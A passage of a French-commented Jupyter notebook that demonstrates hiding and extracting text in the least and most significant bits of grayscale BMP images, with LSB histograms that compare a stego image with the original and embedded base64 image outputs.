BkqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWUqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlfAyVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrKVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSvgZKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVlKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJXwMlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqylWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEr4GSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVZSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCV8DJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKspVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhK//2Q==",
"image/png": "iVBORw0KGgoAAAANSUhEUgAAAQAAAAEACAAAAAB5Gfe6AAAEwElEQVR4AWJkYGRkYAJjpv9MjCDA9J+JgZmBkZHpPzMDE5hGkWdg/s/EwMTAxAiSA+ll+g8WAakHm8DEwAjSD1HHyAimmUFiEHNx8UFWDwBmYmBgYITg/yCagYHhPyMD438w/Z8BQqPIM4LkQXpAcmAaIsLwH0SD9DGA9YN4IBPB9H+QGMRcXHyGgQGgABgYmweJraMBMEgiYsCcMRoAAxb0g8Ti0QAYJBExYM4YDYABC/pBYvFoAAySiBgwZ4wGwIAF/SCxeDQABklEDJgzRgNgwIJ+kFg8GgCDJCIGzBmjATBgQT9ILB4NgEESEQPmjNEAGLCgHyQWjwbAIImIAXPGaAAMWNAPEotHA2CQRMSAOWM0AAYs6AeJxaMBMEgiYsCcMRoAAxb0g8Ti0QAYJBExYM4YDYABC/pBYvFoAAySiBgwZ4wGwIAF/SCxeDQABklEDJgzRgNgwIJ+kFg8GgCDJCIGzBmjATBgQT9ILB4NgEESEQPmjNEAGLCgHyQWjwbAIImIAXPGaAAMWNAPEotHA2CQRMSAOWM0AAYs6AeJxaMBMEgiYsCcMRoAAxb0g8Ti0QAYJBExYM4YDYABC/pBYvFoAAySiBgwZ4wGwIAF/SCxeDQABklEDJgzRgNgwIJ+kFg8GgCDJCIGzBmjATBgQT9ILB4NgEESEQPmjNEAGLCgHyQWjwbAIImIAXPGaAAMWNAPEotHA2CQRMSAOWM0AAYs6AeJxaMBMEgiYsCcMRoAAxb0g8Ti0QAYJBExYM4YDYABC/pBYvFoAAySiBgwZ4wGwIAF/SCxeDQABklEDJgzRgNgwIJ+kFg8GgCDJCIGzBmjATBgQT9ILB4NgEESEQPmjNEAGLCgHyQWjwbAIImIAXPGaAAMWNAPEotHA2CQRMSAOWM0AAYs6AeJxaMBMEgiYsCcMRoAAxb0g8Ti0QAYJBExYM4YDYABC/pBYvFoAAySiBgwZ4wGwIAF/SCxeDQABklEDJgzRgNgwIJ+kFg8GgCDJCIGzBmjATBgQT9ILB4NgEESEQPmjNEAGLCgHyQWjwbAIImIAXPGaAAMWNAPEotHA2CQRMSAOWM0AAYs6AeJxaMBMEgiYsCcMRoAAxb0g8Ti0QAYJBExYM4YDYABC/pBYvFoAAySiBgwZ4wGwIAF/SCxeDQABklEDJgzRgNgwIJ+kFg8GgCDJCIGzBmjATBgQT9ILB4NgEESEQPmjNEAGLCgHyQWjwbAIImIAXPGaAAMWNAPEotHA2CQRMSAOWM0AAYs6AeJxaMBMEgiYsCcMRoAAxb0g8Ti0QAYJBExYM4YDYABC/pBYvFoAAySiBgwZ4wGwIAF/SCxeDQABklEDJgzRgNgwIJ+kFg8GgCDJCIGzBmjATBgQT9ILB4NgEESEQPmjNEAGLCgHyQWjwbAIImIAXPGaAAMWNAPEotHA2CQRMSAOWM0AAYs6AeJxaMBMEgiYsCcMRoAAxb0g8Ti0QAYJBExYM4YDYABC/pBYvFoAAySiBgwZ4wGwIAF/SCxeDQABklEDJgzRgNgwIJ+kFg8GgCDJCIGzBmjATBgQT9ILB4NgEESEQPmjNEAGLCgHyQWjwbAIImIAXPGaAAMWNAPEosBG/EBAACB7C4KJpffiQAAAABJRU5ErkJggg==",
"text/plain": [
"<PIL.BmpImagePlugin.BmpImageFile image mode=L size=256x256>"
]
},
"metadata": {},
"output_type": "display_data"
},
{
"name": "stdout",
"output_type": "stream",
"text": [
"Message : Decode this!\n"
]
}
],
"source": [
"display(Image.open(nom_fichier))\n",
"# 2. Cacher le message\n",
"cacher_message(nom_fichier, mon_message, nom_fichier_sortie)\n",
"\n",
"#display the image\n",
"display(Image.open(nom_fichier_sortie))\n",
"\n",
"# 3. Extraire le message\n",
"message_trouve = extraire_message(nom_fichier_sortie)\n",
"print(f\"Message : {message_trouve}\")\n"
]
},
{
"cell_type": "code",
"execution_count": 7,
"metadata": {
"id": "HUvxyPw-knd9"
},
"outputs": [],
"source": [
"image_sortie = Image.open(nom_fichier_sortie)\n"
]
},
{
"cell_type": "code",
"execution_count": 8,
"metadata": {
"colab": {
"base_uri": "https://localhost:8080/",
"height": 562
},
"id": "YW7UFBzMn7I7",
"outputId": "ddfdd830-f1ff-465a-d2e5-e45767510400"
},
"outputs": [
{
"ename": "ValueError",
"evalue": "Message is too long for the image.",
"output_type": "error",
"traceback": [
"\u001b[31m---------------------------------------------------------------------------\u001b[39m",
"\u001b[31mValueError\u001b[39m Traceback (most recent call last)",
"\u001b[36mCell\u001b[39m\u001b[36m \u001b[39m\u001b[32mIn[8]\u001b[39m\u001b[32m, line 8\u001b[39m\n\u001b[32m 5\u001b[39m image_stego = \u001b[33m\"\u001b[39m\u001b[33mimage_secrete.bmp\u001b[39m\u001b[33m\"\u001b[39m\n\u001b[32m 7\u001b[39m \u001b[38;5;66;03m# On cache ce long message dans notre image de test\u001b[39;00m\n\u001b[32m----> \u001b[39m\u001b[32m8\u001b[39m \u001b[43mcacher_message\u001b[49m\u001b[43m(\u001b[49m\u001b[43mimage_originale\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[43mlong_message\u001b[49m\u001b[43m,\u001b[49m\u001b[43m \u001b[49m\u001b[43mimage_stego\u001b[49m\u001b[43m)\u001b[49m\n\u001b[32m 10\u001b[39m \u001b[38;5;66;03m# 2. Fonction pour extraire tous les LSB d'une image\u001b[39;00m\n\u001b[32m 11\u001b[39m \u001b[38;5;28;01mdef\u001b[39;00m\u001b[38;5;250m \u001b[39m\u001b[34mextraire_tous_les_lsb\u001b[39m(chemin_image):\n",
"\u001b[36mCell\u001b[39m\u001b[36m \u001b[39m\u001b[32mIn[3]\u001b[39m\u001b[32m, line 15\u001b[39m, in \u001b[36mcacher_message\u001b[39m\u001b[34m(chemin_image_entree, message_secret, chemin_image_sortie)\u001b[39m\n\u001b[32m 13\u001b[39m \u001b[38;5;66;03m# Vérification de la capacité de l'image\u001b[39;00m\n\u001b[32m 14\u001b[39m \u001b[38;5;28;01mif\u001b[39;00m \u001b[38;5;28mlen\u001b[39m(message_binaire) > \u001b[38;5;28mlen\u001b[39m(pixels_plats):\n\u001b[32m---> \u001b[39m\u001b[32m15\u001b[39m \u001b[38;5;28;01mraise\u001b[39;00m \u001b[38;5;167;01mValueError\u001b[39;00m(\u001b[33m\"\u001b[39m\u001b[33mMessage is too long for the image.\u001b[39m\u001b[33m\"\u001b[39m)\n\u001b[32m 17\u001b[39m \u001b[38;5;66;03m# Remplacement du bit de poids faible (LSB)\u001b[39;00m\n\u001b[32m 18\u001b[39m \u001b[38;5;28;01mfor\u001b[39;00m i \u001b[38;5;129;01min\u001b[39;00m \u001b[38;5;28mrange\u001b[39m(\u001b[38;5;28mlen\u001b[39m(message_binaire)):\n",
"\u001b[31mValueError\u001b[39m: Message is too long for the image."
]
}
],
"source": [
"# 1. Préparation d'un LONG message pour que l'effet stégo soit visible\n",
"# On crée un faux message assez long pour remplir une bonne partie de l'image (256x256 = 65536 pixels)\n",
"long_message = \"Check if we can decode everything, like long messages\" * 200\n",
"image_originale = \"image_test_8bits.bmp\"\n",
"image_stego = \"image_secrete.bmp\"\n",
"\n",
"# On cache ce long message dans notre image de test\n",
"cacher_message(image_originale, long_message, image_stego)\n",
"\n",
"# 2. Fonction pour extraire tous les LSB d'une image\n",
"def extraire_tous_les_lsb(chemin_image):\n",
" img = Image.open(chemin_image).convert(\"L\")\n",
" pixels = np.array(img).flatten()\n",
" # On récupère uniquement le dernier bit avec l'opérateur '& 1'\n",
" return pixels & 1\n",
"\n",
"# On extrait les LSB des deux images\n",
"lsb_orig = extraire_tous_les_lsb(image_originale)\n",
"lsb_stego = extraire_tous_les_lsb(image_stego)\n",
"\n",
"# 3. Création des graphiques avec Matplotlib\n",
"fig, (ax1, ax2) = plt.subplots(1, 2, figsize=(12, 5)) # 1 ligne, 2 colonnes\n",
"\n",
"# --- Graphique de gauche : Image Stego ---\n",
"ax1.hist(lsb_stego, bins=[-0.5, 0.5, 1.5], edgecolor=\"black\", alpha=0.7)\n",
"ax1.set_title(\"Histogramme des LSB - Image Stego\")\n",
"ax1.set_xticks([0, 1])\n",
"ax1.set_xticklabels([\"LSB=0\", \"LSB=1\"])\n",
"ax1.set_ylabel(\"Nombre d'occurrences\")\n",
"\n",
"# --- Graphique de droite : Image Originale ---\n",
"ax2.hist(lsb_orig, bins=[-0.5, 0.5, 1.5], edgecolor=\"black\", alpha=0.7)\n",
"ax2.set_title(\"Histogramme des LSB - Image Originale\")\n",
"ax2.set_xticks([0, 1])\n",
"ax2.set_xticklabels([\"LSB=0\", \"LSB=1\"])\n",
"ax2.set_ylabel(\"Nombre d'occurrences\")\n",
"\n",
"# Affichage du résultat\n",
"plt.tight_layout()\n",
"plt.show()\n"
]
},
{
"cell_type": "markdown",
"metadata": {
"id": "0ZLEleEjmyyZ"
},
"source": [
"GSB"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {
"id": "Y4uXeBJ_m7D7"
},
"outputs": [],
"source": [
"def cacher_messageGSB(chemin_image_entree, message_secret, chemin_image_sortie):\n",
" # On ouvre l'image et on s'assure qu'elle est en 8-bits (Niveaux de gris = mode 'L')\n",
" img = Image.open(chemin_image_entree).convert(\"L\")\n",
" pixels = np.array(img)\n",
"\n",
" # On ajoute le délimiteur à la fin du message et on convertit tout en binaire\n",
" message_complet = message_secret + DELIMITEUR\n",
" message_binaire = texte_vers_binaire(message_complet)\n",
"\n",
" # On aplatit le tableau de pixels en 1D pour faciliter le parcours\n",
" pixels_plats = pixels.flatten()\n",
"\n",
" # Vérification de la capacité de l'image\n",
" if len(message_binaire) > len(pixels_plats):\n",
" raise ValueError(\"The image is too small.\")\n",
"\n",
" # Remplacement du bit de poids faible (LSB)\n",
" for i in range(len(message_binaire)):\n",
" bit_a_cacher = int(message_binaire[i])\n",
" # bit_a_cacher << 7 décale le bit de 7 crans vers la gauche\n",
" pixels_plats[i] = (pixels_plats[i] & 127) | (bit_a_cacher << 7)\n",
"\n",
" # On redonne à l'image sa forme originale et on sauvegarde\n",
" pixels_modifies = pixels_plats.reshape(pixels.shape)\n",
" img_modifiee = Image.fromarray(pixels_modifies, mode=\"L\")\n",
" img_modifiee.save(chemin_image_sortie, format=\"BMP\")\n",
" print(f\"Message well hidden within : {chemin_image_sortie}\")\n",
"\n",
"# --- 3. FONCTION POUR EXTRAIRE LE MESSAGE (DÉCODAGE LSB) ---\n",
"\n",
"def extraire_messageGSB(chemin_image):\n",
" # On ouvre l'image modifiée\n",
" img = Image.open(chemin_image).convert(\"L\")\n",
" pixels_plats = np.array(img).flatten()\n",
"\n",
" bits_extraits = []\n",
"\n",
" # On récupère le dernier bit de chaque pixel\n",
" for pixel in pixels_plats:\n",
" # On isole le bit de poids fort, puis on le ramène tout à droite\n",
" bits_extraits.append(str((pixel & 128) >> 7))\n",
"\n",
" chaine_binaire_complete = \"\".join(bits_extraits)\n",
"\n",
" # On lit le binaire par paquets de 8 bits (1 octet = 1 caractère)\n",
" message_decode = \"\"\n",
" for i in range(0, len(chaine_binaire_complete), 8):\n",
" octet = chaine_binaire_complete[i:i+8]\n",
" if len(octet) < 8:\n",
" break\n",
" caractere = chr(int(octet, 2))\n",
" message_decode += caractere\n",
"\n",
" # On s'arrête si on détecte le délimiteur\n",
" if message_decode.endswith(DELIMITEUR):\n",
" # On retourne le message sans le délimiteur\n",
" return message_decode[:-len(DELIMITEUR)]\n",
"\n",
" return \"No hidden message found (or delimiter not found).\"\n"
]
},
{
"cell_type": "code",
"execution_count": null,
"metadata": {
"colab": {
"base_uri": "https://localhost:8080/",
"height": 602
},
"id": "74Rinzm2nM7x",
"outputId": "5a12f02b-6db5-431b-f872-b28e57dd12fe"
},
"outputs": [
{
"data": {
"image/jpeg": "/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/wAALCAEAAQABAREA/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/9oACAEBAAA/APAkqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWUqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlfAyVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrKVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSvgZKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVlKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJXwMlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqylWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEr4GSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVZSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCV8DJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKspVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhK+BkqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWUqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlfAyVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrKVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSvgZKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVlKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJXwMlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqylWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEr4GSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVZSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCV8DJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKspVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhK+BkqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWUqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlfAyVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrKVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSvgZKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVlKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJXwMlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqylWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEr4GSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVZSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCV8DJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKspVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhK+BkqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWUqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlfAyVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrKVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSvgZKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVlKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJXwMlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqylWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEr4GSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVZSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCV8DJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKspVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhK+BkqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWUqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlfAyVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrKVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSvgZKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVlKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJXwMlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqylWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEr4GSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVZSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCV8DJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKspVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhK+BkqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWUqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlfAyVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrKVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSv/2Q==",
"image/png": "iVBORw0KGgoAAAANSUhEUgAAAQAAAAEACAAAAAB5Gfe6AAACuUlEQVR4AWJkYBzZgIlhhIPRABjhCWA0BYymgNEsMMLBaAoY4QlgNAWMpoDRLDDCwWgKGOEJYDQFjKaA0SwwwsFoChjhCWA0BYymgNEsMMLBaAoY4QlgNAWMpoDRLDDCwWgKGOEJYDQFjKaA0SwwwsFoChjhCWA0BYymgNEsMMLBaAoY4QlgNAWMpoDRLDDCwWgKGOEJYDQFjKaA0SwwwsFoChjhCWA0BYymgNEsMMLBaAoY4QlgNAWMpoDRLDDCwWgKGOEJYDQFjKaA0SwwwsFoChjhCWA0BYymgNEsMMLBaAoY4QlgNAWMpoDRLDDCwWgKGOEJYDQFjKaA0SwwwsFoChjhCWA0BYymgNEsMMLBaAoY4QlgNAWMpoDRLDDCwWgKGOEJYDQFjKaA0SwwwsFoChjhCWA0BYymgNEsMMLBaAoY4QlgNAWMpoDRLDDCwWgKGOEJYDQFjKaA0SwwwsFoChjhCWA0BYymgNEsMMLBaAoY4QlgNAWMpoDRLDDCwWgKGOEJYDQFjKaA0SwwwsFoChjhCWA0BYymgNEsMMLBaAoY4QlgNAWMpoDRLDDCwWgKGOEJYDQFjKaA0SwwwsFoChjhCWA0BYymgNEsMMLBaAoY4QlgNAWMpoDRLDDCwWgKGOEJYDQFjKaA0SwwwsFoChjhCWA0BYymgNEsMMLBaAoY4QlgNAWMpoDRLDDCwWgKGOEJYDQFjKaA0SwwwsFoChjhCWA0BYymgNEsMMLBaAoY4QlgNAWMpoDRLDDCwWgKGOEJYDQFjKaA0SwwwsFoChjhCWA0BYymgNEsMMLBaAoY4QlgNAWMpoDRLDDCwWgKGOEJYDQFjKaA0SwwwsFoChjhCWA0BYymgNEsMMLBaAoY4QlgNAWMpoDRLDDCwWgKGOEJYDQFjKaA0SwwwsFoCgBshCcABgCdkAL/fkEcHQAAAABJRU5ErkJggg==",
"text/plain": [
"<PIL.BmpImagePlugin.BmpImageFile image mode=L size=256x256>"
]
},
"metadata": {},
"output_type": "display_data"
},
{
"name": "stdout",
"output_type": "stream",
"text": [
"Message well hidden within : image_secrete.bmp\n"
]
},
{
"name": "stderr",
"output_type": "stream",
"text": [
"/var/folders/qx/qc20ksl50kb3r1gbtqwgqm2h0000gn/T/ipykernel_3336/3844268843.py:25: DeprecationWarning: 'mode' parameter is deprecated and will be removed in Pillow 13 (2026-10-15)\n",
" img_modifiee = Image.fromarray(pixels_modifies, mode='L')\n"
]
},
{
"data": {
"image/jpeg": "/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/wAALCAEAAQABAREA/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/9oACAEBAAA/APBlnmO7Msh3IEbLHlRjAPsNo49h6Vcjv7wMjC7n3Iioh8w5VVIKgegBAIHYirEV/eLNFMt3OJYU2RuJDuRemAew5PA9auQatqUOPK1C7TCKg2zMPlXOB16DJwPenfa7mRQslxKwEYiwzk/IDkL9AQDjpVqO/vAyMLufciKiHzDlVUgqB6AEAgdiKcJHdUVnZgg2qCc7RknA9OST+NXjf3ksKwyXc7xKmxUaQlQvBwB6fKvHsPSpjd3M0axy3EsiKFVVZyQAudoA9snHpk1aW/vD5ebuc+Vt8v8AeH5NuduPTGTj0yatR6nfhoGF7cgwArCfNb92CMYXnjjjinRTzK0TLLIGh/1ZDHKc549OSTx3NWre7uYJIpIriWN4gVjZHIKA5yAe3U/masW93cwSRSRXEsbxArGyOQUBzkA9up/M1Yt7u5gkikiuJY3iBWNkcgoDnIB7dT+Zqzb3dzBJFJFcSxvECsbI5BQHOQD26n8zVa30ywgkikisraN4gVjZIlBQHOQDjjqfzNaaVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCV8DJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKspVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhK+BkqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWUqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlfAyVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrKVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSvgZKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVlKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJXwMlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqylWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEr4GSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVZSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCV8DJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKspVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhK+BkqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWUqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlfAyVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrKVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSvgZKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVlKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJXwMlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqylWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEr4GSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVZSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCV8DJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKspVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhK+BkqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWUqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlfAyVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrKVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSvgZKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVlKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJXwMlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqylWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEr4GSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVZSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCV8DJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKspVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhK+BkqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWUqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlfAyVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrKVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSvgZKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVlKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJXwMlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqylWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEr4GSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVZSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCV8DJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKspVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhK+BkqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWUqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlfAyVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrKVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSvgZKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVlKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJXwMlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqylWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEqwlWEr4GSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVZSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCVYSrCV8DJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKspVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhKsJVhK/9k=",
"image/png": "iVBORw0KGgoAAAANSUhEUgAAAQAAAAEACAAAAAB5Gfe6AAAC8UlEQVR4AWJkaGxkZARjxkbGRhBgBAmAhECiYBpEgGTB8mAOIyNYFUgFWBeY39gIZTdCFYNEQUIgxbhomOWMAwUYBsriQWIvE8MIB6MBMMITwGgKGE0Bo1lghIPRFDDCE8BoChhNAaNZYISD0RQwwhPAaAoYTQGjWWCEg9EUMMITwGgKGE0Bo1lghIPRFDDCE8BoChhNAaNZYISD0RQwwhPAaAoYTQGjWWCEg9EUMMITwGgKGE0Bo1lghIPRFDDCE8BoChhNAaNZYISD0RQwwhPAaAoYTQGjWWCEg9EUMMITwGgKGE0Bo1lghIPRFDDCE8BoChhNAaNZYISD0RQwwhPAaAoYTQGjWWCEg9EUMMITwGgKGE0Bo1lghIPRFDDCE8BoChhNAaNZYISD0RQwwhPAaAoYTQGjWWCEg9EUMMITwGgKGE0Bo1lghIPRFDDCE8BoChhNAaNZYISD0RQwwhPAaAoYTQGjWWCEg9EUMMITwGgKGE0Bo1lghIPRFDDCE8BoChhNAaNZYISD0RQwwhPAaAoYTQGjWWCEg9EUMMITwGgKGE0Bo1lghIPRFDDCE8BoChhNAaNZYISD0RQwwhPAaAoYTQGjWWCEg9EUMMITwGgKGE0Bo1lghIPRFDDCE8BoChhNAaNZYISD0RQwwhPAaAoYTQGjWWCEg9EUMMITwGgKGE0Bo1lghIPRFDDCE8BoChhNAaNZYISD0RQwwhPAaAoYTQGjWWCEg9EUMMITwGgKGE0Bo1lghIPRFDDCE8BoChhNAaNZYISD0RQwwh